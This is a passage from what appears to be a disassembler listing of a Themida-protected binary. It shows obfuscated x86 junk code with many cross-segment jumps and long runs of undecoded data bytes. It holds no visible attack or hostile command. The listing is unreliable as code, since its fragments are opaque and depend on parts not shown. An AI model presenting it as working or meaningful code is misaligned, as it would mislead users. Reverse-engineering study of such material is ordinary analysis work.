		dd 0FFFF0B5Ch, 4EC83ADh, 0FF9C8CE9h, 45EDD1FFh,	0CAD8C581h
		dd 0EB01EBF1h, 4C3815Dh, 87000000h, 575C241Ch, 42474FFh
		dd 5F2434FFh, 47AFE9h, 5BDA8800h, 8058C200h, 0D3009FF2h
		dd 8124148Bh, 4C4h, 5BD82000h, 0FFBE72E9h, 24348BFFh, 4C481h
		dd 0EB810000h, 5392442Bh, 3F9ABE56h, 0EEC16CF6h, 0BE565105h
		dd 3F4D4BA4h, 227F1BB9h, 5EF1299Dh, 0E9C1D1F7h,	0F7494105h
		dd 0B7C181D1h, 0E904C907h, 0FFFFD90Ah
; ---------------------------------------------------------------------------


loc_56055C:				; CODE XREF: Themida_:00560DE6j
		mov	[esp], eax
		push	4CAD57F6h
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_552827
; ---------------------------------------------------------------------------
		db 57h
		dd 5F2414F7h, 1075CF81h, 0F75775C3h, 0C15F2414h, 0F78102E7h
		dd 8F0980Ch, 7D3DEE81h,	0FE013744h, 7D3DC681h, 2E93744h
		dd 89FFFF88h, 5A542414h, 0C7BB5355h, 4B2DCF22h,	2BDFEB81h
		dd 41E9616Bh, 89FFFFCAh, 5F54243Ch, 0FF74BBE9h,	76BE56FFh
		dd 68289047h, 5DA7h, 0B9240C89h, 0E01F063Eh, 2959CE29h
		dd 4F095EF1h, 37E9591Ch, 59FFFEF2h, 6B5C781h, 51521ED8h
		dd 5E7191B9h, 9B88BA0Ah, 0CA293D7Bh, 0E9240C8Bh, 0FFFFDA30h
		dd 8359C829h, 1C8904ECh, 299ABB24h, 0D8012749h,	8ACDE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560612:				; CODE XREF: Themida_:00562E13j
		add	esp, 4
		xor	edi, 1CE01681h
		add	edx, edi
		pop	edi
		push	ecx
		mov	ecx, 765D6CDBh
		shr	ecx, 5
		shl	ecx, 2
		push	esi
		push	3C0B3040h
		pop	esi
		dec	esi
		push	ebx
		mov	ebx, 2C0B2A2Ch
		jmp	loc_559BC9
; ---------------------------------------------------------------------------
		dd 0D254E6BBh, 58CB8160h, 8130D459h, 7F2415F3h,	0A5E944h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560656:				; CODE XREF: Themida_:00561AF8j
		push	ecx
		mov	ecx, 554947EEh
		xor	ecx, 554947EAh
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		jmp	loc_5512CF
; ---------------------------------------------------------------------------
		dd 9A8EE81h, 0C281AFB0h, 27A04CC4h, 0BF57F229h,	0B8A20A0h
		dd 0D3DCBB53h, 0DF29E3E9h, 0E9241C8Bh, 0FFFF2BF8h
; ---------------------------------------------------------------------------


loc_560694:				; CODE XREF: Themida_:0056085Ej
		pop	edx
		jmp	loc_553E5F
; ---------------------------------------------------------------------------
		dw 9DB1h
		dd 70E9C9FEh, 8BFFFFF5h, 0E9562404h, 0FFFF18F2h, 0D337840Fh
		dd 8951FFFFh, 4C181E1h,	81000000h, 4E9h, 240C8700h, 0E924248Bh
		dd 0FFFF3AB1h
; ---------------------------------------------------------------------------


loc_5606CC:				; CODE XREF: Themida_:00553BA8j
		add	eax, 1
		push	eax
		not	dword ptr [esp]
		pop	eax
		add	eax, 6A366BB7h
		xor	ecx, eax
		pop	eax
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jmp	loc_55DF4A
; ---------------------------------------------------------------------------


loc_5606F1:				; CODE XREF: Themida_:00555BB6j
		mov	edx, 8E34427h
		jmp	loc_54FE6D
; ---------------------------------------------------------------------------
		db 81h
		dd 826514E3h, 0BAEB814Eh, 0E951AF32h, 4018h
; ---------------------------------------------------------------------------


loc_56070C:				; CODE XREF: Themida_:00554847j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 771A53AEh
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_561FDD
; ---------------------------------------------------------------------------


loc_560727:				; CODE XREF: Themida_:0055968Fj
		and	ecx, esi
		mov	esi, [esp]
		push	10h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_562852
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78300h, 5C243C87h, 7C0368h, 240C8900h, 6309B850h
		dd 0C1895E08h, 0EBC78158h, 296B4D44h, 0EBEF81CFh, 0E96B4D44h
		dd 0FFFFFE73h, 5C240487h, 4C581h, 0E9550000h, 0FFFFCD6Bh
; ---------------------------------------------------------------------------


loc_56077C:				; CODE XREF: Themida_:0055CF42j
		mov	ebp, 0
		sub	ebp, edi
		mov	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		jmp	loc_560F02
; ---------------------------------------------------------------------------
		db 1, 0D1h, 5Ah
		dd 5259C831h, 8C2FFEBAh, 3E2C103h, 0CDCA814Ah, 8107587Eh
		dd 0E1E4DF2h, 5AD30107h, 0FF7606E9h, 2A56BEFFh,	0E6817069h
		dd 1B464EECh, 0F5C0C681h, 56E9EFBFh, 5CFFFF7Bh,	1048E9h
		dd 59CD0100h, 5224048Bh, 0C281E289h, 4,	8704C283h, 895C2414h
		dd 615D306Ah, 0FF6458E9h, 54C781FFh, 817C5555h,	687C48C7h
		dd 81DF015Dh, 687C48EFh, 54EF815Dh, 817C5555h, 0D81D3DC7h
		dd 0F8015B7Fh, 32EB815Fh, 5516077Eh, 76596268h,	0EC835D2Eh
		dd 242C8904h, 212A1CBDh, 8FED8162h, 810151D7h, 200F6AEBh
		dd 41C3817Eh, 1542D3Fh,	7F57E9EBh, 965EFFFFh, 0FF0761E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56084D:				; CODE XREF: Themida_:00555135j
		shr	edx, 6
		not	edx
		push	ebx
		push	98374CA2h
		pop	ebx
		sub	edx, ebx
		pop	ebx
		sub	ecx, edx
		jmp	loc_560694
; ---------------------------------------------------------------------------
		db 45h
		dd 275EC581h, 2DE9DDACh, 66FFFF0Ah, 0D83166ADh,	6E7568h
		dd 241C8900h, 5FF668h, 24048900h, 50366866h, 0ECE95866h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56088F:				; CODE XREF: Themida_:0055770Fj
		push	edx
		mov	dh, 0F3h
		add	dh, 0BEh
		add	dh, 0FFh
		dec	dh
		push	ecx
		mov	cl, 45h
		dec	cl
		sub	cl, 27h
		or	cl, 97h
		sub	cl, 44h
		or	dh, cl
		pop	ecx
		inc	dh
		add	dh, 6
		add	bh, dh
		pop	edx
		add	al, bh
		pop	ebx
		push	esi
		mov	esi, esp
		jmp	loc_55001F
; ---------------------------------------------------------------------------
		dw 8766h
		dd 6F2DE9FBh, 3C89FFFFh, 5B79BF24h, 0C78133FAh,	728D0184h
		dd 668E781h, 0D7F73F97h, 4610C781h, 8FE93C04h, 5EFFFF40h
		dd 6D8AC381h, 2F684346h, 89000028h, 52512404h, 1E0F92BAh
		dd 0FC3B906h, 0D1015456h, 0E981415Ah, 4EC179CEh, 0A292E981h
		dd 5CE99F45h, 0BFFFFFA9h, 781B09B8h, 38D9EE81h,	0FE011865h
		dd 38D9C681h, 59E91865h, 81FFFEF0h, 1865242Ch, 55830DEh
		dd 30DE1865h, 0FF98BAE9h, 0E9DD29FFh, 0FFFFBAF9h, 78E66857h
		dd 0F75F2041h, 0D7F747D7h, 9FC78147h, 894DFCCEh, 243C8BFBh
		dd 4C481h, 0D3F70000h, 0FF7554E9h, 0DAF75AFFh, 69C3EA81h
		dd 0C5813FCAh, 352C7907h, 0ED81D501h, 352C7907h, 0AFEDE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56098A:				; CODE XREF: Themida_:005545BFj
		push	ecx
		mov	ecx, 73360CD6h
		or	ecx, 312575B2h
		jmp	loc_556212
; ---------------------------------------------------------------------------
		db 54h
		dd 0FFD29AE9h, 33E952FFh, 0FFFFFF0Fh, 8B042474h, 89572404h
		dd 4C781E7h, 0E9000000h, 0FFFF9E19h
; ---------------------------------------------------------------------------


loc_5609BC:				; CODE XREF: Themida_:0055B16Fj
		sub	ecx, 2EB73952h
		pop	edi
		jmp	loc_55106F
; ---------------------------------------------------------------------------


loc_5609C8:				; CODE XREF: Themida_:00552061j
		jnz	loc_55BE81
		push	2969h
		jmp	loc_55490B
; ---------------------------------------------------------------------------
		dd 56F9F681h, 0F3890274h, 0CBF575Eh, 81065F47h,	95765FC7h
		dd 81474F7Fh, 787773C7h, 8BFB29F4h, 0C481243Ch,	4, 34FFD901h
		dd 86CE924h, 48400000h,	0FF9202E9h, 3BE66FFh, 66526620h
		dd 6688EABAh, 5A66D189h, 5EF12966h, 6C870566h, 0FFC787E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560A2D:				; CODE XREF: Themida_:00559F5Bj
		push	eax
		mov	eax, 341376EBh
		and	eax, 23ED2B90h
		neg	eax
		add	eax, 0FFFFFFFFh
		not	eax
		push	eax
		jmp	loc_55B139
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E92434FFh, 0FFFF64CEh, 889DED80h, 0D32859EAh, 0C3E95A66h
		dd 5000038h, 4,	0E904C083h, 0FFFF347Ch,	56E18951h, 4BEh
		dd 5EF10100h, 4C181h, 2AE90000h, 83FFFF25h, 0F5E904C4h
		dd 83FFFEFDh, 348904ECh, 0BE565324h, 0F864A94h,	17E9F389h
		dd 66FFFFA2h, 0E9CCB60Fh, 2650h, 4BF57h, 0C3810000h, 2A817B1Eh
		dd 0B850FB01h, 5D0C37FEh, 0FFF005E9h, 3AE952FFh, 8BFFFF4Ch
		dd 48F2424h, 24248B24h,	0C8E9F9F6h, 5AFFFFFFh, 4C281h
		dd 0EA830000h, 24148704h, 243C895Ch, 4BFh, 4E240500h, 0E9577AB8h
		dd 0FFFFC5F0h
; ---------------------------------------------------------------------------


loc_560AF8:				; CODE XREF: Themida_:00555367j
		add	esp, 4
		jmp	loc_561100
; ---------------------------------------------------------------------------
		dd 24343359h, 33243431h, 29E92434h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560B0F:				; CODE XREF: Themida_:00563684j
		push	edx
		mov	edx, 62201AB7h
		mov	ecx, edx
		pop	edx
		xchg	ebp, ecx
		not	ebp
		push	ecx
		push	ebp
		pop	ecx
		pop	ebp
		shr	ecx, 5
		push	edi
		mov	edi, 551C2046h
		jmp	loc_5637E6
; ---------------------------------------------------------------------------
		dw 57B8h
		dd 483EC653h, 0FF50FCE9h, 0E95745FFh, 0FFFF7027h, 0C15BDA89h
		dd 0C28308EAh, 3E2C1FFh, 1E9A68h, 240C8900h, 0FFD369E9h
		dd 3DE956FFh, 55000010h, 6D76F3BDh, 0E6C5816Eh,	810DBA28h
		dd 0C16B4FEDh, 3EDC16Ah, 0E906EDC1h, 0FFFF4507h, 0C381D301h
		dd 45E66A84h, 5BDD015Ah, 1D9DE9h, 24D0F600h, 682E2C05h
		dd 56E2h, 0B1240C89h, 8E1C05Eh,	2870C180h, 0C30059CBh
		dd 5870C380h, 7B5F68h, 240C8900h, 0CD801BB5h, 402EE9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560BBE:				; CODE XREF: Themida_:0055F18Aj
		mov	[esp], ecx
		push	eax
		mov	al, 3Fh
		jmp	loc_55A1CB
; ---------------------------------------------------------------------------


loc_560BC9:				; CODE XREF: Themida_:0055D505j
		pop	ecx
		jmp	loc_55E4E7
; ---------------------------------------------------------------------------


loc_560BCF:				; CODE XREF: Themida_:0055F9A3j
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_553EF0
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 7726804h, 0C890000h,	0FAE3E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_560BEA:				; CODE XREF: Themida_:0055ED5Dj
		push	esi
		push	esp
		pop	esi
		push	ecx
		jmp	loc_558C06
; ---------------------------------------------------------------------------
		db 2Dh
		dd 2C3C73D5h, 0E6BE565Ah, 81144F4Eh, 0DF2BD3E6h, 0EA1FE90Eh
		dd 0E959FFFFh, 0FFFF91ABh, 83242489h, 58042404h, 7C19BF57h
		dd 0DFF76422h, 1375CF81h, 0BE564415h, 6C300F96h, 0FF7867E9h
		dd 6F281FFh, 596E3858h,	6A84EB81h, 39E945E6h, 5CFFFFFFh
		dd 51C8AF0Fh, 0C802E99Ch, 0C145FFFFh, 0CE908E5h, 0DFFFFFCh
		dd 47F314A0h, 2C6FB951h, 0E1817E77h, 406E53D1h,	0FFFFC181h
		dd 0E981FFFFh, 67751331h, 0C8BC801h, 4C48324h, 8B58C301h
		dd 77E9243Ch
		db 8, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_560C87:				; CODE XREF: Themida_:00556354j
		add	esi, 4
		push	edi
		mov	edi, 4
		sub	esi, edi
		jmp	loc_562350
; ---------------------------------------------------------------------------


loc_560C9A:				; CODE XREF: Themida_:0054FC87j
		sub	ebx, 159725AEh
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		jmp	loc_55ED80
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C3h
		dd 1039386Fh, 0EB81F329h, 1039386Fh, 8124348Bh,	4C4h, 2C38100h
		dd 8159ABDBh, 875BCDE9h, 0E9D90107h, 0FFFF9E62h, 8324048Bh
		dd 0C38004C4h, 80C300A9h, 0EB80A9EBh, 59545138h, 1132E952h
		dd 0FF5A0000h, 50592434h, 15E9E089h, 5FFFFFEBh,	0F1BA5249h
		dd 0E908A176h, 0FFFF4C43h
; ---------------------------------------------------------------------------


loc_560D10:				; CODE XREF: Themida_:0055782Ej
		mov	edi, 4E395194h
		add	edi, 737933FEh
		add	edi, 70F3D8A4h
		mov	esi, edi
		pop	edi
		shl	esi, 5
		jmp	loc_5562A5
; ---------------------------------------------------------------------------


loc_560D2C:				; CODE XREF: Themida_:005561E1j
		sub	edx, 90782A2Ch
		sub	ebx, edx
		pop	edx
		xor	ebp, ebx
		pop	ebx
		xor	ebp, 0AFAB9E7h
		and	eax, ebp
		jmp	loc_5545D0
; ---------------------------------------------------------------------------
		db 0B0h, 0EEh, 0
		dd 0B58CE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560D4E:				; CODE XREF: Themida_:00556F34j
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55E04D
; ---------------------------------------------------------------------------
		db 55h
		dd 156E46BDh, 6E42B948h, 68E94815h, 81FFFF01h, 4D55BAEBh
		dd 0A9CB813Ch, 0C1291026h, 0F38108E3h, 1246F306h, 295BDA29h
		dd 53D668C2h, 0C890000h, 53336824h, 14890000h, 44ECE924h
		dd 4ABEFFFFh, 0F76F7152h, 0AFE681D6h, 0F708B10Ch, 0F7D6F7D6h
		dd 0FDEE81DEh, 1CD0CF2h, 0C5815EF5h, 21B7F90h, 0ED81D501h
		dd 21B7F90h, 5EED81h, 505A3273h, 405E089h, 55000000h, 0FF57E7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560DE1:				; CODE XREF: Themida_:00557785j
		push	3975h
		jmp	loc_56055C
; ---------------------------------------------------------------------------
		db 81h
		dd 0BCF09AF7h, 5FFD89FBh, 3049E9h
		db 0
; ---------------------------------------------------------------------------


loc_560DF9:				; CODE XREF: Themida_:0056255Dj
		sub	dword ptr [esp], 67E961B9h
		pop	ebx
		push	eax
		mov	eax, 67E961B9h
		add	ebx, eax
		jmp	loc_563907
; ---------------------------------------------------------------------------
a_hr		db '_h^',0
		align 4
		dd 0BD242C89h, 4, 20C86855h, 28E90000h,	89FFFF0Fh, 79B22414h
		dd 665AD300h, 6607C568h, 0B0240489h, 66C10003h,	80D92858h
		dd 8BE903E9h, 0F600001Ah, 86FD86D7h, 0B5E9242Ch, 0BE00001Ah
		dd 0BB45C25h, 575EF131h, 0A06793BFh, 86C78124h,	1264840h
		dd 607EE9F9h, 0C483FFFFh, 4E98304h, 2474FF51h, 48F5904h
		dd 24248B24h, 17FBE9h, 4C68300h, 0E9243487h, 8D2h, 0BA241489h
		dd 3A5C53F6h, 5704E2C1h, 1BFh, 0E9FA2900h, 0FFFF0B9Dh
		dd 0CD4A3ABEh, 5EF22129h, 5801C281h, 0E9573C28h, 0FFFF7118h
		dd 8904EC83h, 7AB3241Ch, 5BD828h, 5A7A04F0h, 9D68C330h
		dd 8900002Ah, 0C388241Ch, 0FF0555E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560EDD:				; CODE XREF: Themida_:00553F32j
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		add	ebp, 11DA3AD1h
		pop	eax
		dec	ebp
		sub	esp, 4
		mov	[esp], edx
		push	edi
		push	463D4765h
		pop	edi
		jmp	loc_562497
; ---------------------------------------------------------------------------
		dd 0F2AAE953h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_560F02:				; CODE XREF: Themida_:0056078Cj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56171F
; ---------------------------------------------------------------------------
		dd 24048157h, 2A1809A3h, 0FF8071E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560F21:				; CODE XREF: Themida_:0055106Aj
		neg	ch
		dec	ch
		or	ch, 0BAh
		push	dx
		mov	dl, 1Ch
		jmp	loc_556480
; ---------------------------------------------------------------------------
aISl4		db 'L4',0
		align 4
		dd 0F189C689h, 5E2434FFh, 4C481h, 81580000h, 854045F1h
		dd 31F9312Dh, 0F7F931CFh, 0F7F987D7h, 0C18141D1h, 4B1E2545h
		dd 7DB5BD55h, 0C1457B1Bh, 814505EDh, 0F60DAEEDh, 17C5810Eh
		dd 0E95919DFh, 0AF9h, 895FF931h, 895759CAh, 4C781E7h, 83000000h
		dd 3C8704EFh, 3A40E924h, 0E9500000h, 0FFFFE3AFh
; ---------------------------------------------------------------------------


loc_560F9C:				; CODE XREF: Themida_:005522EBj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	69F5h
		jmp	loc_55E363
; ---------------------------------------------------------------------------


loc_560FAE:				; CODE XREF: Themida_:00558F0Ej
		neg	edx
		jmp	loc_5568DC
; ---------------------------------------------------------------------------
		db 2Dh,	62h, 79h
		dd 0A20575CBh, 2918A672h, 9C7AE9D8h, 0E2C1FFFFh, 62EA8104h
		dd 89C9DBF5h, 0A7E95AD6h, 81FFFF55h, 4C4h, 24148B00h, 0FF3FD1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560FE5:				; CODE XREF: Themida_:005518D5j
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_55DED8
; ---------------------------------------------------------------------------


loc_560FFB:				; CODE XREF: Themida_:0055795Dj
		mov	[esp], edx
		mov	edx, 3B635CA3h
		not	edx
		push	0
		sub	[esp], edx
		pop	edx
		jmp	loc_550CFD
; ---------------------------------------------------------------------------
		db 88h
		dd 12E952F0h, 87FFFF98h, 0E95C242Ch, 0FFFF9EFEh, 8904EC83h
		dd 0EC832414h, 240C8904h, 416CBB53h, 0CDB92D83h, 0E9D691DEh
		dd 0FFFEEF7Fh
; ---------------------------------------------------------------------------


loc_561040:				; CODE XREF: Themida_:005627BFj
		mov	edi, 5E0D6E1Dh
		sub	edi, 5E0D6E19h
		jmp	loc_557E14
; ---------------------------------------------------------------------------
		dd 5719BA52h, 0EDE9648Bh, 83FFFF0Fh, 48904ECh, 4FC6824h
		dd 0F75800F4h, 6E8C1D8h, 37E6E9h, 0C1EE8100h, 0E97A3970h
		dd 0FFFF2C39h, 8B2434FFh, 8957240Ch, 0CDE955E7h, 31FFFFA9h
		dd 0E0E92414h
		db 32h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561093:				; CODE XREF: Themida_:005576AFj
		pop	esp
		add	ebx, ecx
		push	eax
		mov	eax, 76482FB3h
		xor	eax, 7CF469CCh
		jmp	loc_55BF2A
; ---------------------------------------------------------------------------
aXiYzps4	db 'XYZP4',0
		db 0
; ---------------------------------------------------------------------------


loc_5610B1:				; CODE XREF: Themida_:0055F4BEj
		pop	esp
		push	ecx
		jmp	loc_55E119
; ---------------------------------------------------------------------------
		dd 0D32E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5610BE:				; CODE XREF: Themida_:005628ABj
		push	ecx
		mov	ecx, 664219F1h
		dec	ecx
		sub	ecx, 17FE2FB6h
		inc	ecx
		not	ecx
		jmp	loc_55B281
; ---------------------------------------------------------------------------


loc_5610D3:				; CODE XREF: Themida_:0055C2CEj
		mov	ebx, 45AD7BB5h
		jmp	loc_552E4F
; ---------------------------------------------------------------------------
		db 2Dh,	0D4h, 2
		dd 0D82976D4h, 0D402D405h, 4875B76h, 24248B24h,	81242489h
		dd 42404h, 0E9590000h, 0FFFFD83Dh
; ---------------------------------------------------------------------------


loc_561100:				; CODE XREF: Themida_:00560AFBj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	6821h
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 609B1B44h
		xor	ebp, 9EB0968h
		add	ebp, 968FEDD8h
		add	ebx, ebp
		jmp	loc_551D36
; ---------------------------------------------------------------------------


loc_56112C:				; CODE XREF: Themida_:0056489Cj
		add	ebx, 1
		add	ebx, 67BB0C98h
		jmp	loc_552B3B
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 7143BB24h, 0EB817936h, 39245A9Bh, 0CB81D3F7h, 73232161h
		dd 0B5CE9h
		db 0
; ---------------------------------------------------------------------------


loc_561155:				; CODE XREF: Themida_:00557951j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	esi, [esp]
		jmp	loc_55B9A2
; ---------------------------------------------------------------------------


loc_561166:				; CODE XREF: Themida_:0055D769j
		push	410F7BE9h
		pop	eax
		jmp	loc_555564
; ---------------------------------------------------------------------------


loc_561171:				; CODE XREF: Themida_:005632B6j
		sub	ecx, 2E6C2920h
		push	ecx
		jmp	loc_55785C
; ---------------------------------------------------------------------------


loc_56117D:				; CODE XREF: Themida_:005601F8j
		inc	ebx
		sub	ebx, 22C41ECAh
		jmp	loc_55224C
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 0E9000000h, 0FFFF6A34h, 0CBBC581h, 57531AE7h, 160BA7BFh
		dd 0E51CE950h, 405FFFFh, 83000000h, 2E6802C0h, 89000010h
		dd 74FF2404h, 34FF0424h, 89525824h, 4BF57E2h, 1000000h
		dd 0C2815FFAh, 4, 5C241487h, 8B24048Fh,	0F662424h, 9C2404B3h
		dd 0FEE631E9h, 4C481FFh, 59000000h, 815EF129h, 0DF508EC1h
		dd 87BF572Ch, 473B0171h, 1B46F781h, 0CAE96219h,	8BFFFF8Ah
		dd 0F662424h, 9C2404BBh, 0FEE601E9h, 0B95152FFh, 603579DBh
		dd 4EC26DBAh, 59CA01E0h, 41BAC181h, 0E9813983h,	1218010Dh
		dd 0C181D129h, 1218010Dh, 41BAE981h, 34E93983h,	52FFFF1Fh
		dd 2BD55h, 0EA890000h, 0E9242C8Bh, 26D6h, 24048B66h, 0FF28AAE9h
		dd 242C33FFh, 3979E9h, 4EC8300h, 51242C89h, 0C7375CB9h
		dd 0EE2CE968h, 835BFFFEh, 0E95304C4h, 0FFFF235Fh
; ---------------------------------------------------------------------------


loc_561280:				; CODE XREF: Themida_:005591C6j
		xor	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		jmp	loc_5538E2
; ---------------------------------------------------------------------------


loc_561293:				; CODE XREF: Themida_:00555FD1j
		mov	eax, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		jmp	loc_55A30E
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 4, 5C241487h, 0BA241489h, 4,	0EB0EF81h, 0C7813CF9h
		dd 10BD6EF4h, 51E9D701h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5612D7:				; CODE XREF: Themida_:0055B687j
		not	esi
		inc	esi
		sub	esi, 0FEEA8483h
		mov	edx, esi
		pop	esi
		add	edx, 1
		jmp	loc_550D44
; ---------------------------------------------------------------------------


loc_5612EB:				; CODE XREF: Themida_:0055F2F8j
		mov	ebp, [esp]
		add	esp, 4
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	1887h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_550702
; ---------------------------------------------------------------------------
		dd 0BE243489h, 41EB0498h, 57D6F74Eh, 0FE5EFBBFh, 0CEC68180h
		dd 0E96F0809h, 0FFFF1AB8h, 2B850h, 0C3290000h, 582434FFh
		dd 0ECA8E950h, 0C0FEFFFEh, 0E903E8C0h, 0FFFFB826h
; ---------------------------------------------------------------------------


loc_561360:				; CODE XREF: Themida_:0056182Fj
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		jmp	loc_55EBE1
; ---------------------------------------------------------------------------
		db 31h
		dd 241C8BDAh, 4C481h, 0D2F70000h, 7BADEA81h, 0C2813065h
		dd 1E8222A9h, 0FF9528E9h, 241489FFh, 0DABE9h, 24048B00h
		dd 4C481h, 0D5F70000h, 78E95545h
		db 0EBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5613AF:				; CODE XREF: Themida_:00551E74j
		mov	[esp], edx
		jmp	loc_560010
; ---------------------------------------------------------------------------


loc_5613B7:				; CODE XREF: Themida_:00557A26j
		shl	edi, 4
		inc	edi
		push	eax
		mov	eax, 53E169EEh
		xor	eax, 3AC08EF3h
		sub	edi, eax
		jmp	loc_555111
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 31h
		dd 0E9F231D6h, 0FFFEFAB9h
; ---------------------------------------------------------------------------


loc_5613D8:				; CODE XREF: Themida_:0054FAC4j
		sub	esp, 4
		mov	[esp], edx
		push	1
		mov	edx, [esp]
		jmp	loc_55673F
; ---------------------------------------------------------------------------
a_hF		db '_hf',0
		dd 24348900h, 8C16EBBEh, 0E9F02957h, 0FFFF7364h
; ---------------------------------------------------------------------------


loc_561400:				; CODE XREF: Themida_:0056351Aj
		mov	esi, ebx
		pop	ebx
		or	ebp, esi
		pop	esi
		push	ecx
		mov	ecx, 12AF3DA9h
		or	ebp, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5518CE
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 0EEh
		dd 0F7FFFF05h, 0E99C241Ch, 0FFFEE3EEh, 52242489h, 4BAh
		dd 24540100h, 5585A04h,	4, 8702C083h, 665C2404h, 0E924048Fh
		dd 0FFFFA33Ah, 0E872E95Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_561452:				; CODE XREF: Themida_:0055D0E3j
		mov	[esp], edi
		jmp	loc_55AEEB
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4BB53h, 0DA290000h, 0E9241C8Bh, 1B53h, 8106E1C1h
		dd 774C84F1h, 37F3E977h, 0A1BB0000h, 0F7615527h, 0E9EB87DBh
		dd 0FFFFBDDCh, 5B240487h, 8107E3C1h, 1CC7EFEBh,	0DD8955FAh
		dd 0FFB537E9h, 6A6905FFh, 0D001263Bh, 3B6A692Dh, 4EC8126h
		dd 0E9000000h, 0FFFF14DEh, 38CB9EBFh, 275FE960h, 0F751FFFFh
		dd 50592414h, 0B8h, 0CCBD5500h,	0F7739C51h, 98F581D5h
		dd 52272B42h, 48C8BB53h, 5FBA7C63h, 0E910614Dh,	0FFFFFE8Bh
		dd 241CF753h, 0D8F3815Bh, 29CCE9D0h, 94E95BDAh,	81FFFEF1h
		dd 9DBB61C3h, 48153D9h,	124h, 0EC815B00h, 4, 57243489h
		dd 0B55C8CBFh, 0E50DE92Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561522:				; CODE XREF: Themida_:00553B4Aj
		xchg	ebp, [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	edx
		push	5E11h
		mov	[esp], eax
		jmp	loc_557E85
; ---------------------------------------------------------------------------
		db 89h
		dd 89562404h, 4C681E6h,	81000000h, 4EEh, 24348700h, 242C895Ch
		dd 5A64BA52h, 9BD04EAh,	0E923E765h, 0FFFFF5CDh
; ---------------------------------------------------------------------------


loc_56156C:				; CODE XREF: Themida_:00562C89j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_555EDA
; ---------------------------------------------------------------------------
		db 89h
		dd 8956241Ch, 4C681E6h,	83000000h, 348704EEh, 14895C24h
		dd 61B1E924h, 0EC83FFFFh, 0C358E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56159A:				; CODE XREF: Themida_:00559E1Dj
		mov	[esp], ebx
		jmp	loc_55EAD2
; ---------------------------------------------------------------------------


loc_5615A2:				; CODE XREF: Themida_:0054FDAEj
		xchg	edx, [esp]
		jmp	loc_55A675
; ---------------------------------------------------------------------------


loc_5615AA:				; CODE XREF: Themida_:0055CEBBj
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 74FB60BAh
		shl	edi, 7
